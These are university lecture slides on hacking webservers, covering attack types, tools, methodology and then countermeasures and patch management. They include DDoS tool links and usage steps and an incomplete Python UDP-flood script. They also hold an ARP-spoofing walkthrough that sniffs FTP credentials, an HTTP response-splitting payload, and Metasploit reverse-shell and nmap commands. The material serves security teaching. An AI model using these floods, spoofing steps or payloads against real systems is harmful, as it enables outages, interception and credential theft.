BUBT | BANGLADESH UNIVERSITY OF BUSINESS AND TECHNOLOGY

Committed to Academic Excellence

Hacking Webservers

Dr. Abdullah-Al-Musa

(B.Sc(Hons) In Computing, M.Engg In Information System Security , PhD)

Lecturer

Department of Computer Science & Engineering

Bangladesh University of Business and Technology (BUBT)

Module Objectives

- Understanding Webserver Concepts
- Understanding Webserver attacks
- Understanding Webserver Attack Methodology
- Webserver Attack Tools

- Countermeasures against Webserver Attacks
- Overview of Patch Management
- Webserver Security Tools
- Overview of Webserver Penetration Testing

Web Server Market Shares

Web Server Security Issue

- Web server is a program (both hardware and software) that hosts websites; attackers usually target **software vulnerabilities** and configuration errors to compromise web servers
- Nowadays, **network** and **OS level attacks** can be well defended using proper network security measures such as firewalls, IDS, etc., however, web servers are accessible from anywhere on the web, which makes them **less secured** and **more vulnerable** to attacks

Why Web Servers Are Compromised

- **Improper** file and directory **permissions**
- Installing the server with **default settings**
- **Unnecessary services** enabled, including content management and remote administration
- **Security conflicts** with business ease-of-use case
- **Lack of proper security policy**, procedures, and maintenance
- **Improper authentication** with external systems
- **Default accounts** with their default or no passwords
- **Unnecessary** default, backup, or sample **files**
- **Misconfigurations** in web server, operating systems, and networks
- **Bugs** in server software, OS, and web applications
- **Misconfigured SSL certificates** and encryption settings
- Administrative or **debugging functions** that are **enabled** or accessible on web servers
- Use of **self-signed certificates** and default certificates

Open Source Web Server Architecture

IIS Web Server Architecture

Dos/DDoS Attacks

Attackers may send numerous **fake requests** to the web server which results in the **web server crash** or become unavailable to the legitimate users

Attackers may target **high profile web servers** such as banks, credit card payment gateways, government owned services, etc. to **steam user credentials**

Dos/DDoS Attacks Tools

1. **LOIC (Low Orbit Ion Cannon)-https://github.com/NewEraCracker/LOIC**

2. **XOIC -** http://anonhacktivism.blogspot.com/2017/11/new-xoic-ddos-tool-download.html

3. **HULK (HTTP Unbearable Load King)** http://packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html

4. **DDOSIM—Layer 7 DDOS Simulator-** http://sourceforge.net/projects/ddosim/

5. **R-U-Dead-Yet-**https://code.google.com/p/r-u-dead-yet/

Dos/DDoS Attacks Tools

6. Tor's Hammer - http://packetstormsecurity.com/files/98831/

7. PyLoris- http://sourceforge.net/projects/pyloris/

8. OWASP DOS HTTP POST -https://code.google.com/p/owasp-dos-http-post/

9. DAVOSET-http://packetstormsecurity.com/files/123084/DAVOSET-1.1.3.html

10. GoldenEye HTTP Denial Of Service Tool- http://packetstormsecurity.com/files/120966/GoldenEye-HTTP-Denial-Of-Service-Tool.html

Buffer Overflow

Buffer overflow is a DoS technique that takes advantage of a flaw in a program's coding by inputting more data than the program's buffer, or memory space, has room for. Once the buffer of a program is in overflow state, all further input that is written to the buffer can have negative consequences, such as crashes, security issues, or other problems. As with many DoS attacks, the intent is to place the program or system in an unpredictable or unexpected state.

Buffer Overflow

This ties in with buffer overflow in that once a program is in an unexpected state, the potential for a DoS condition is extremely high.

Buffer Overflow

Some C functions do not perform bounds checking, which means they are prime candidates for allowing a buffer overflow to occur. Be on the lookout for gets(), scanf(), strcpy(), and strcat() functions. Any of these in the code should make you suspect a buffer overflow condition could occur.

The Heap and the Stack

The stack and the heap are two areas of memory a program uses for storage:

Heap

The heap is a dynamic storage location that does not have sequential constraints or an organizational scheme. It is considered the larger pool of free storage for programs to use as needed. Once the dynamic memory space is no longer needed and the program has retrieved the needed data, the occupied space in the heap is freed up for future use .

Stack

The stack refers to the smaller pool of free storage: memory allocated to a program for short-term processing. This is the main action area, where program variables are temporarily stored, added, and removed as needed to perform a specific function. The name stack comes from the fact that accessing its resources is similar in function to the way you access information from a stack of dominos, for instance. You can see the value of the top domino, you can remove a domino from the top, and you can stack another domino on top.

Stack

If you pull the bottom or middle domino from the stack, the whole pile comes tumbling down. Thus, you are limited to manipulating the stack from the top down. This is how a program stack operates as well. Another name for this kind of access is last-in, first-out (LIFO). The last item to be stacked is the first item to be removed. In programming lingo, the term push is used to describe adding a new item to the stack, and pop describes removing an item.

Stack

So, if a program wants to add to or remove something from the stack, it uses the push and pop actions accordingly, and it does so in a linear top- to-bottom fashion. Take a look at Figure to get a quick visual of a basic program stack.

Stack Limit
Stuff
Stack Pointer
EIP
Return Address
Program Data
Bottom of Stack

Figure : Basic program stack

Stack

The key takeaway from this is to understand how the stack can be "overflowed" and thus create a DoS condition within the program or system. Knowing the basics of how the stack is used gives you insight into how it might be compromised.

Stack

smashing the stack modifies normal stack operation by submitting excess data to the stack, surpassing its normal bounds (if left unchecked). The excess data overwrites legitimate variables in the stack and resets the saved Extended Instruction Pointer (EIP) value to point to the injected malicious code.

False EIP
False SP
Stack Limit
Stack Pointer (SP)
Extended Instruction Pointer (EIP)
Bottom of Stack
0x90 0x90 0x90 0x90 0x90
Stuff
Return Address
Program Data

Figure : Smashing the stack

Stack

Remember that Figure 1 represents normal operation, where the program's variables and stored data all stay within normal memory bounds, which is between the stack pointer (the top of the stack) and the bottom of the stack.

The 0x90 overlay in Figure 2 represents the overflow portion that has been applied, or pushed onto the normal stack. The excess data, which has far surpassed the stack limit, has put the stack in an overflow condition. Once this is achieved, the program's reference point for the next legitimate instruction execution has been shifted up into the attacker's overflowed code. At this point, the program executes the attacker's malicious code with privileges identical to those of the original legitimate program.

NOP Sled NOP sled refers to shellcode (machine code) used in a buffer overflow attack that uses multiple "No Operation" commands in a sequenced chunk. NOP by itself stands for "No Operation"; thus it follows that a NOP sled is a large sequence of no operation function calls. The value 0x90, which you saw in Figure 2, is the hexadecimal value of a NOP instruction as it applies to Intel processors; therefore, a NOP instruction with a value of 0x90 will instruct an Intel processor to perform a one-clock cycle on an empty process.

In plain English, 0x90 will force an Intel CPU to dry-fire a single cycle. Now, take a series of 0x90 values, as you saw in Figure 2 , and you have a fairly large "padding" on the stack that can set the stage for the execution of malicious code.

A program uses the stack and the heap for storage. The heap is dynamic, whereas the stack is linear in operation (top, bottom, LIFO). Buffer overflow overfills the heap, exceeding the memory boundaries. This in turn creates an unpredictable condition in which the OS now sees the program as operating outside its allotted memory space.

One of the following will probably happen:

The OS terminates the offending program due to the program operating outside its allotted memory space.

The address of the hacker's malicious code, which now resides in the overflowed stack, winds up in the EIP, causing that code to execute.

1. ENTER TARGET ADDRESS (OR IP ADDRESS IF YOU KNOW BELOW)
2. PRESS LOCKON! THIS WILL GIVE YOU THE "SELECTED TARGET" IP INFORMATION

3. TCP: GOOD FOR MOST USE FOR MOST ATTACKS
HTTP: USE FOR MOST ATTACKS
UDP: STRONG. WILL SLOW DOWN COMPUTER, BEST TIMES TO USE IS IF THE SITE EXPECTS AN ATTACK

4. PUT A VALUE BETWEEN 100-1000 AVERAGE. HIGHER NUMBER MORE STRENGTH

5. PRESS WHEN READY TO ATTACK!

Custom Attack

```
os.system("clear")
os.system("figlet DDos Attack")
print
print ("Author    : BUBT Cyber Security Squad")
print
ip = input("IP Target : ")
port = input("Port        : ")

os.system("clear")
os.system(" Attack Starting")
print ("[                          ] 0% ")
time.sleep(5)
print ("[=====                     ] 25%")
time.sleep(5)
print ("[==========                ] 50%")
time.sleep(5)
print ("[================          ] 75%")
time.sleep(5)
print ("[=======================] 100%")
time.sleep(3)
sent = 0
while True:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
        if port == 65534:
          port = 1
```

DNS Server Hijacking

Attacker compromises DNS server and **changes the DNS settings** so that all the request coming toward the target web server should be redirected to his/her own malicious server

DNS Amplification Attack

Man-in-the- Middle/Sniffing Attack

01 Man-in-the-Middle (MITM) attacks allow an attacker to access sensitive information by **intercepting and altering communications** between an end-user and webservers

02 Attacker **acts as a proxy** such that all the communication between the user and webserver passes through him

ARP Spoofing for a MitM Attack

What we will be doing here, is using ARP spoofing to place ourselves between two machines making the client believe we are the server and the server believe we are the client. With this, we can then send all the traffic through our computer and sniff every packet that goes in either direction.

Hope all that makes sense! Let's get started with our MitM attack by opening up BackTrack!

Step 1 Open Three Terminals

To conduct this MitM attack, we're going to need three (3) terminals, so go ahead and open those now. Our goal here is to get a client on our network to believe we are the server and the server to believe we are the client.

arpspoof can do this for us by replacing the MAC address of the client and the server with our MAC address in the ARP table.

Step 2 Arpspoof Client to Server

Let's start with the client. We want to replace the MAC address of the server with our MAC address.

- **arpspoof 192.168.1.101 192.168.1.105**

Where:

- **192.168.1.101** is the IP of the client
- **192.168.1.105** is the IP of the server

In this step, we're telling the client that we are the server.

Step 3 Arpspoof Server to Client

Now we want to replace the MAC address of the client with our address, so we simply reverse the order of the IP addresses in the previous command.

- **arpspoof 192.168.1.105 192.168.1.101**

Here, we are telling the server that we are the client.

Now execute both of these commands. When we do this, the client will think we are the server and the server will think we are the client!

Step 4 Pass Packets with Ipforward

Now that we are impersonating both the client and server, we need to be able to pass or forward the packets to the other machine. In other words, we want the packets coming from the server to be forwarded to the client and those coming from the client forwarded to the server.

We do this in Linux by using the **ip_forward**. Linux has a built-in functionality to forward packets it receives. By default, it's turned off, but we can turn it on by changing its value to 1(ON).

We simply echo a 1 and direct (>) it to /proc/sys/net/ipv4/ip_forward, thereby turning on ipforwarding.

- **echo 1 > /proc/sys/net/ipv4/ip_forward**

Image via wonderhowto.com

Now our system, in the middle, is forwarding the traffic it receives to both ends of this connection, client and server.

Step 5 Sniff the Traffic with Dsniff

Now that we have all the traffic coming from the client to the server and the serve to the client going through our computer, we can sniff and see all the traffic!

To do this, we could use a number of different sniffing tools, including Wireshark c tcpdump, but in this case we'll use Dug Song's **dsniff**. Song designed dsniff to sni out authentication information that appears on the wire in clear text (nor encrypted). So, protocols such as ftp, telnet, HTTP, SNMP, POP, LDAP, etc. can b sniffed off the wire.

To activate dsniff, we simply type:

- **dsniff**

Image via wonderhowto.com

As we can see, dsniff responds that it is listening on eth0.

Step 6 Grab the FTP Credentials

Now, let's wait until the client logs into the ftp server. When he does so, dsniff will grab his credentials and display them to us.

Image via wonderhowto.com

As you see in the screenshot above, dsniff has grabbed the ftp credentials of the administrator with the password of "password"! How easy was that!

Phishing Attack

- Attacker tricks user to submit **login details** for website that looks legitimate, but it redirect to the malicious website hosted on attacker web server
- Attacker **steals the credentials** entered and use it to impersonate with the website hosted on the legitimate target server
- Attacker then can perform **unauthorized** or **malicious operation** with the website target server

Website Defacement

- Web defacement occurs when an intruder **maliciously alters visual appearance of a web page** by inserting or substituting provocative and frequently offending data
- **Defaced pages exposes visitors to some propaganda** or misleading information until the unauthorized change is discovered and corrected
- Attackers uses variety of methods such as **MYSQL injection** to access a site in order to deface it

Web Server Misconfiguration

Server misconfiguration refers to **configuration weaknesses** in web infrastructure that can be exploited to launch various attacks on web servers such as directory traversal, server intrusion, and data theft

- Verbose Debug/Error Messages
- Anonymous or Default Users/Passwords
- Sample Configuration, and Script Files
- Remote Administration Functions
- Unnecessary Services Enabled
- Misconfigured/Default SSL Certificates

Web Server Misconfiguration Example

This configuration allows anyone to view the **server status** page, which contains detailed information about the current use of the web server, including information about the **current hosts** and requests being processed

httpd.conf file on an **Apache** server

```
<Location /server-status>
SetHandler server-status
</Location>
```

This configuration gives **verbose error messages**

php.ini file

```
display_error = On
log_errors = On
error_log = syslog
ignore_repeated_errors = Off
```

HTTP Response Splitting Attack

HTTP response splitting attack involves **adding header response data into the input field** so that the server split the response into two responses

The attacker can **control the second response to redirect user to a malicious website** whereas the other responses will be discarded by web browser

Server Code

```
String author =
request.getParameter(AUTHOR_PA
RAM);
...
Cookie cookie = new
Cookie("author", author);
cookie.setMaxAge(cookieExpirat
ion);
response.addCookie(cookie);
```

Input = Jason

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jason
...
```

Input = JasonTheHacker\r\nHTTP/1.1 200 OK\r\n

First Response (Controlled by Attacker)

```
Set-Cookie: author=JasonTheHacker
HTTP/1.1 200 OK
...
```

Second Response

```
HTTP/1.1 200 OK
...
```

HTTP Response Splitting Attack (cont'd)

Attacker
GET http://juggyboy.com/index.html HTTP/1.1
Pragma: no-cache
Host: juggyboy.com
.....
Accept-Charset: iso-8859-1,*,utf-8
GET http://juggyboy.com/ redir.php?site=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte nt-Length:%2020%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Attack Page</html> HTTP/1.1
.....
Host: juggyboy.com
GET http://juggyboy.com/index.html HTTP/1.1 Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
.....
Accept-Charset: iso-8859-1,*,utf-8
Server Cache
Address
Page
www.juggyboy.com
Original Juggyboy page
Server Cache
1
Attacker sends request to remove page from cache
Normal response after clearing the cache for juggyboy.com
2
3
Attacker sends malicious request that generates two responses (4 and 6)
Attacker gets first server response
4
Attacker requests a juggyboy.com again to generate cache entry
5
Attacker gets the second response of request 3
7
6
The second response of request 3 that points to attacker's page
Server Cache
Address
Page
www.juggyboy.com
Attacker's page
Poisoned Server Cache
Server
http://www.juggyboy.com/welcome.php?lang=
<?php header ("Location: " . $_GET['page']); ?>
An attacker forces the web server's cache to flush its actual cache content and sends a specially crafted request, which will be stored in cache

SSH Bruteforce Attack

1. SSH protocols are used to create an encrypted SSH tunnel between two hosts in order to transfer unencrypted data over an insecure network
2. Attackers can brute force SSH login credentials to gain unauthorized access to a SSH tunnel
3. SSH tunnels can be used to transmit malwares and other exploits to victims without being detected

Web Server Password Cracking

An attacker tries to exploit weaknesses to hack **well-chosen passwords**

The most **common passwords** found are password, root, administrator, admin, demo, test, guest, qwerty, pet names, etc.

Attacker target mainly for:

- SMTP servers
- Web shares
- SSH Tunnels
- Web form authentication cracking
- FTP servers

Attackers use different methods such as **social engineering**, **spoofing**, **phishing**, using a Trojan Horse or virus, wiretapping, keystroke logging, etc.

Many hacking attempts start with **cracking passwords** and proves to the webserver that they are a **valid user**

Web Server Password Cracking

- Passwords may be cracked **manually** or with **automated tools** such as Cain & Abel, Brutus, THC Hydra, etc.
- Passwords can be cracked by using following techniques:

Guessing	A common cracking method used by attackers to guess passwords either by **humans** or by **automated tools** provided with dictionaries
Dictionary Attacks	A **file of words is run against user accounts**, and if the password is a simple word, it can be found pretty quickly
Brute Force Attack	The most time-consuming, but comprehensive way to crack a password. Every **combination of character is tried** until the password is broken.
Hybrid Attack	A hybrid attack works similar to dictionary attack, but it adds **numbers** or **symbols** to the password attempt

Web Application Attacks

Vulnerabilities in **web applications** running on a webserver provide a broad attack path for webserver compromise

- Parameter/Form Tampering
- Cookie Tampering
- Unvalidated Input and File Injection Attacks
- SQL Injection Attacks
- Session Hijacking
- Directory Traversal
- Denial-of-Service (DoS) Attack
- Cross-Site Scripting (XSS) Attacks
- Buffer Overflow Attacks
- Cross-Site Request Forgery (CSRF) Attack

Note: For complete coverage of web application attacks refer to Module 12: Hacking Web Applications

Web Server Attack Methodology

Web Server Attack Methodology: Information Gathering

1. Information gathering involves collecting information about the **targeted company**

2. Attackers search the **Internet**, **newsgroups**, **bulletin boards**, etc. for information about the company

3. Attackers use **Whois**, **Traceroute**, **Active Whois**, etc. tools and query the Whois databases to get the details such as a domain name, an IP address, or an autonomous system number

http://www.whois.net

Note: For complete coverage of information gathering techniques refer to Module 02: Footprinting and Reconnaissance

Web Server Attack Methodology: Information Gathering From Robots.txt File

- The robots.txt file contains the **list of the web server directories and files** that the web site owner wants to hide from web crawlers
- Attacker can simply request Robots.txt file from the URL and retrieve the sensitive information such as **root directory structure**, **content management system information**, etc., about the target website

robots - Notepad

File Edit Format View Help

```
User-agent: *
Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /*/download/confirmation.aspx?
Disallow: /ctl/
Disallow: /admin/
Disallow: /App_Browsers/
Disallow: /genuine/ajax/
Disallow: /App_Code/
Disallow: /App_Data/
Disallow: /App_GlobalResources/
Disallow: /bin/
Disallow: /Components/
Disallow: /Config/
Disallow: /contest/
Disallow: /genuine/survey/
Disallow: /controls/
Disallow: /DesktopModules/
Disallow: /HttpModules/
Disallow: /Install/
Disallow: /js/
Disallow: /software
Disallow: /software.aspx
Disallow: /windows/404.aspx?*
Disallow: /Userlogin
Disallow: /testgallery
Sitemap: http://www.juggyboy.com/sitemap.xml
```

WebServer Attack Methodology :Webserver Footprinting

01 Gather **valuable system-level data** such as account details, operating system, software versions, server names, and database schema details

02 **Telnet** a webserver to footprint a webserver and gather information such as server name, server type, operating systems, applications running, etc.

03 Use tool such as **ID Serve**, **httprecon**, and **Netcraft** to perform footprinting

http://toolbar.netcraft.com

Webserver Footprinting Tools

httprecon

http://www.computec.ch

ID Serve

http://www.grc.com

Enumerating Webserver information Using Nmap

1. Attackers can use advanced **Nmap commands** and **Nmap Scripting Engine (NSE) scripts** to enumerate information about the target website

2. `nmap sV –O –p target IP address`

3. `nmap -sV --script=http-enum target IP address`

4. `nmap target IP address -p 80 --script = http-frontpage-login`

5. `nmap --script http-passwd --script-args http-passwd.root =/ target IP address`

Nmap Scan

Table 1: Scanning Techniques

Scanning Technique	Syntax	Use
TCP SYN	-sS	Stealth scan
TCP connect()	-sT	Scan without root privileges
FIN	-sF	Stealth scan
Xmas	-sX	Stealth scan
Null	-sN	Stealth scan
Ping	-sP	Identify live hosts
Version Detection	-sV	Identify services
UDP	-sU	Find UDP services
IP Protocol	-sO	Discover supported protocols
ACK	-sA	Identify firewalls
Window	-sW	Advanced ACK scan
RPC	-sR	Information on RPC services
List	-sL	Dummy for test purposes
Idle	-sI	Scan via third party
FTP Bounce	-b	Historic

Webserver Attack Methodology: Mirroring a Website

- Mirror a website to create a complete profile of the site's **directory structure**, **files structure**, **external links**, etc.
- Search for comments and other items in the **HTML source code** to make footprinting activities more efficient
- Use tools **HTTrack**, **WebCopier Pro**, **BlackWidow**, etc. to mirror a website

http://www.httrack.com

Webserver Attack Methodology: Vulnerability Scanning

01 Implement vulnerability scan to **identify weaknesses** in a network and determine if the system can be exploited

02 Use vulnerability scanners such as HP WebInspect, Acunetix Web Vulnerability Scanner, etc. to find **hosts**, **services**, and **vulnerabilities**

03 Sniff the network traffic to find out **active systems**, **network services**, **applications**, and vulnerabilities present

04 Test the **web server infrastructure** for any misconfigurations, outdated content, and vulnerabilities

ACUNETIX WEB VULNERABILITY SCANNER

Webserver Attack Methodology: Session Hijacking

1. Sniff valid session IDs to **gain unauthorized access** to the Web Server and snoop the data
2. Use session hijacking techniques such as session fixation, session sidejacking, Cross-site scripting, etc. to **capture valid session cookies and IDs**
3. Use tools such as **Burp Suite**, **Firesheep**, **JHijack**, etc. to automate session hijacking

Note: For complete coverage of Session Hijacking concepts and techniques refer to Module 10: Session Hijacking

Webserver Attack Methodology: Hacking Web Passwords

Use password cracking techniques such as **brute force attack**, **dictionary attack**, password guessing to crack webserver passwords

Use tools such as **THC-Hydra**, **Brutus**, etc.

https://www.thc.org

Webserver Attack Tool: Metasploit

- The Metasploit Framework is a **penetration testing toolkit**, exploit development platform, and **research tool** that includes hundreds of working remote exploits for a variety of platforms
- It supports fully automated **exploitation of web servers**, by abusing known vulnerabilities and leveraging weak passwords via Telnet, SSH, HTTP, and SNM

http://www.metasploit.com

Metasploit Architecture

Metasploit Payload Module

- Payload module establishes a **communication channel** between the Metasploit framework and the victim host
- It combines the **arbitrary code** that is executed as the result of an exploit succeeding
- To generate **payloads**, first select a payload using the command:

Command Prompt

```
msf > use windows/shell_reverse_tcp
msf payload(shell_reverse_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-b <opt> The list of characters to avoid:
'\x00\xff'
-e <opt> The name of the encoder module to use.
-h Help banner.
-o <opt> A comma separated list of options in
         VAR=VAL format.
-s <opt> NOP sled length.
-t <opt> The output type: ruby, perl, c, or raw.
msf payload(shell_reverse_tcp) >
```

Metasploit Auxiliary Module

- Metasploit's auxiliary modules can be **used to perform arbitrary**, one-off actions such as port scanning, denial of service, and even fuzzing
- To run auxiliary module, either use the `run` command, or use the `exploit` command

Command Prompt

```
msf > use dos/windows/smb/ms06_035_mailslot
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(ms06_035_mailslot) > run
[*] Mangling the kernel, two bytes at a time...
```

Metasploit NOPS Module

- NOP modules generate a no-operation instructions used for blocking out buffers
- Use **generate** command to generate a NOP sled of an arbitrary size and display it in a given format

OPTIONS:

- -b <opt>: The list of characters to avoid: '\x00\xff'
- -h: Help banner
- -s <opt>: The comma separated list of registers to save
- -t <opt>: The output type: ruby, perl, c, or raw

```
msf nop(opty2)>
```

Generates a NOP sled of a given length

```
msf > use x86/opty2
msf nop(opty2) > generate -h
Usage: generate [options] length
```

Command to generate a 50 byte NOP sled

```
msf nop(opty2) > generate -t c 50
unsigned char buf[] =
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x
66\x9f\xb8\x2d\xb6"
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x
84\xd5\x14\x40\xb4"
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x
2f\xfd\x96\x4a\x98"
"\x92\xb5\xd4\x4f\x91";
msf nop(opty2) >
```

Webserver Attack Tool :Wfetch

WFetch allows attacker to fully customize an **HTTP request** and send it to a Web server to see the raw HTTP request and response data

It allows attacker to test the performance of Web sites that contain new elements such as **Active Server Pages** (ASP) or wireless protocols

http://www.microsoft.com

fully customize HTTP request

Web Password Cracking Tools:THC-Hydra and Brutus

THC-Hydra

- Hydra is a parallized **login cracker** which supports numerous protocols to attack

http://www.thc.org

Brutus

- It includes a multi-stage authentication engine and can **make 60 simultaneous target connections**
- It supports no user name, single user name, **multiple user name**, password list, combo (user/password) list and configurable brute force modes

http://www.hoobie.net

Place Web Servers in Separate Secure Server Security Segment on Network

- An ideal **web hosting network** should be designed with at least **three segments** namely Internet segment, secure server security segment often called demilitarized zone (DMZ), internal network
- Place the web server in **Server Security Segment** (DMZ) of the network isolated from public network as well as internal network
- The firewalls should be place for **internal network** as well as **Internet traffic** going towards DMZ

Countermeasures: Patches and Update

01 Scan for existing vulnerabilities, patch, and update the server software regularly

02 Before applying any service pack, hotfix, or security patch, read and peer review all relevant documentation

03 Apply all updates, regardless of their type on an "as-needed" basis

04 Test the service packs and hotfixes on a representative non-production environment prior to being deployed to production

05 Ensure that service packs, hotfixes, and security patch levels are consistent on all Domain Controllers (DCs)

06 Ensure that server outages are scheduled and a complete set of backup tapes and emergency repair disks are available

07 Have a back-out plan that allows the system and enterprise to return to their original state, prior to the failed implementation

08 Schedule periodic service pack upgrades as part of operations maintenance and never try to have more than two service packs behind

Countermeasures: Protocols

01 Block all unnecessary ports, Internet Control Message Protocol (ICMP) traffic, and unnecessary protocols such as NetBIOS and SMB

02 Harden the TCP/IP stack and consistently apply the latest software patches and updates to system software

03 If using insecure protocols such as Telnet, POP3, SMTP, FTP, take appropriate measures to provide secure authentication and communication, for example, by using IPSec policies

04 If remote access is needed, make sure that the remote connection is secured properly, by using tunneling and encryption protocols

05 Disable WebDAV if not used by the application or keep secure if it is required

Countermeasures: Accounts

- Remove all unused modules and application extensions
- Disable unused default user accounts created during installation of an operating system
- When creating a new web root directory, grant the appropriate (least possible) NTFS permissions to the anonymous user being used from the IIS web server to access the web content
- Eliminate unnecessary database users and stored procedures and follow the principle of least privilege for the database application to defend against SQL query poisoning
- Use secure web permissions, NTFS permissions, and .NET Framework access control mechanisms including URL authorization
- Slow down brute force and dictionary attacks with strong password policies, and then audit and alert for logon failures
- Run processes using least privileged accounts as well as least privileged service and user accounts

Countermeasures: files and Directories

Eliminate unnecessary files within the **.jar files**

Disable serving of **directory listings**

Eliminate **sensitive configuration** information within the **byte code**

Eliminate the **presence of non web files** such as archive files, backup files, text files, and header/include files

Avoid mapping **virtual directories** between two different servers, or over a network

Disable serving certain **file types** by creating a resource mapping

Monitor and check all **network services logs**, **website access logs**, **database server logs** (e.g., Microsoft SQL Server, MySQL, Oracle) and OS logs frequently

Ensure the presence of **web application** or **website files** and **scripts** on a separate partition or drive other than that of the operating system, logs, and any other system files

Detecting Web Server Hacking Attempts

Use **Website Change Detection System** to detect hacking attempts on the web server

Website Change Detection System involves:

- **Running specific script** on the server that detects any changes made in the existing executable file or new file included on the server
- Periodically comparing the **hash values** of the files on the server with their respective master hash value to detect the changes made in codebase
- **Alerting the user** upon any change detection on the server

For example: WebsiteCDS is a script that goes through your entire web folder and detects any changes made to the your code base and alert you using email

How to Defend Against Web Server Attackes

01 Ports

- Audit the ports on server regularly to ensure that an **insecure** or unnecessary service is not active on your web server
- Limit inbound traffic to **port 80 for HTTP** and **port 443 for HTTPS** (SSL)
- Encrypt or restrict **intranet traffic**

02 Server Certificates

- Ensure that **certificate data ranges** are valid and that certificates are used for their intended purpose
- Ensure that the certificate has not been revoked and **certificate's public key** is valid all the way to a trusted root authority

03 Machine.config

- Ensure that protected resources are mapped to **HttpForbiddenHandler** and unused **HttpModules** are removed
- Ensure that **tracing is disabled** <trace enable="false"/> and **debug compiles** are turned off

04 Code Access Security

- Implement **secure coding** practices
- Restrict **code access security policy** settings
- **Configure IIS** to reject URLs with "../" and install new patches and updates

How to Defend Against Web Server Attacks(cont'd)

UrlScan

- UrlScan is a security tool that **restricts** the types of HTTP requests that IIS will process
- By blocking specific HTTP requests, the UrlScan security tool helps to **prevent potentially harmful requests** from reaching applications on the server
- UrlScan screens all incoming requests to the server by filtering the requests based on **rules** that are set by the administrator

Services

- UrlScan can be configured to filter HTTP query string values and other HTTP headers to **mitigate SQL injection** attacks while the root cause is being fixed in the application.
- It provides **W3C formatted logs** for easier log file analysis through log parsing solutions like Microsoft Log Parser 2.2

How to Defend against HTTP Response Splitting and Web Cache Poisoning

Server Admin

- Use latest **web server software**
- Regularly **update/patch OS** and webserver
- Run **web Vulnerability Scanner**

Application Developers

- Restrict web application access to **unique IPs**
- Disallow **carriage return** (%0d or \r) and line feed (%0a or \n) characters
- Comply to **RFC 2616** specifications for HTTP/1.1

Proxy Servers

- Avoid sharing **incoming TCP connections** among different clients
- Use different TCP connections with the proxy for different **virtual hosts**
- Implement "**maintain request host header**" correctly

How to Defend against DNS Hijacking

- Choose an **ICANN** accredited **registrar** and encourage them to set **Registrar-Lock** on the domain name
- Safeguard the **registrant account information**
- Include DNS hijacking into **incident response and business continuity planning**
- Use DNS monitoring tools/services to **monitor DNS server IP address and alert**
- Avoid downloading **audio and video codecs** and other downloaders from untrusted websites
- Install **antivirus** program and update it regularly
- Change the **default router password** that comes with the factory settings

Patches and Hotfixes

- Hotfixes are an **update to fix a specific customer issue** and not always distributed outside the customer organization
- A patch is a **small piece of software designed to fix problems**, security vulnerabilities, and bugs and improve the performance of a computer program or its supporting data
- Users may be notified through **emails** or through the **vendor's website**
- A patch can be considered as a **repair job to a programming problem**
- Hotfixes are sometimes packaged as a set of fixes called a **combined hotfix** or **service pack**

What is Patch Management

"Patch management is a process used to ensure that the **appropriate patches** are installed on a system and help fix known vulnerabilities"

An automated patch management process

Detect	Use tools to detect missing security patches
Assess	Asses the issue(s) and its associated severity by mitigating the factors that may influence the decision
Acquire	Download the patch for testing
Test	Install the patch first on a testing machine to verify the consequences of the update
Deploy	Deploy the patch to the computers and make sure the applications are not affected
Maintain	Subscribe to get notifications about vulnerabilities as they are reported

Identifying Appropriate Sources for Updates and Patches

1. First make a **patch management plan** that fits the operational environment and business objectives

2. Find appropriate **updates** and **patches** on the home sites of the applications or operating systems' vendors

3. The recommended way of tracking issues relevant to **proactive patching** is to register to the home sites to **receive alerts**

Installation of a Patch

01 Users can access and install security patches via the **World Wide Web**

Patches can be installed in two ways

Manual Installation

In this method, the user has to **download the patch** from the vendor and fix it

Automatic Installation

In this method, the applications use the **Auto Update** feature to update themselves

Implementation and Verification of a Security Patch or Upgrade

1. Before installing any patch **verify the source**
2. Use proper **patch management program** to validate files versions and checksums before deploying security patches
3. The patch management tool must be **able to monitor the patched systems**
4. The **patch management team** should check for updates and patches regularly

Patch Management Tool: Microsoft Baseline Security Analyzer (MBSA)

- MBSA checks for **available updates** to the operating system, Microsoft Data Access Components (MDAC), MSXML (Microsoft XML Parser), .NET Framework, and SQL Server
- It also scans a computer for insecure **configuration settings**

http://www.microsoft.com

Patch Management Tools

Altiris Client Management Suite
http://www.symantec.com

GFI LanGuard
http://www.gfi.com

Kaseya Security Patch Management
http://www.kaseya.com

ZENworks® Patch Management
http://www.novell.com

Security Manager Plus
http://www.manageengine.com

Prism Suite
http://www.newboundary.com

MaaS360® Patch Analyzer Tool
http://www.maas360.com

Secunia CSI
http://secunia.com

Lumension® Patch and Remediation
http://www.lumension.com

VMware vCenter Protect
http://www.vmware.com

Web Application Security: Syhunt Dynamic and N-Stalker Web Application Security Scanner

Syhunt Dynamic

Syhunt Dynamic helps to automate **web application security** testing and guard organization's **web infrastructure** against various web application security threats

N-Stalker Web Application Security Scanner

N-Stalker is a **WebApp Security Scanner** to search for vulnerabilities such as SQL injection, XSS, and known attacks

http://www.syhunt.com

http://www.nstalker.com

Web Server Security Scanners: Wikto and Acunetix Web Vulnerability Scanner

Wikto

Microsoft

Witko is a **web server security scanner** for windows

- Fuzzy logic error code checking
- Google assisted directory mining
- Back-end miner
- Real time HTTP request/response monitoring

http://www.sensepost.com

Acunetix Web Vulnerability Scanner

- Acunetix WVS **checks web applications** for SQL injections, cross-site scripting, etc.
- It includes advanced penetration testing tools to ease **manual security audit processes**, and also creates professional security audit and regulatory compliance reports

http://www.acunetix.com

Web Server Malware Infection Monitoring Tool: HackAlert

HackAlert is a **cloud-based service** that identifies hidden zero-day malware and drive-by downloads in websites and online advertisements

Features

- Protects clients and customers from malware injected websites
- Identifies malware
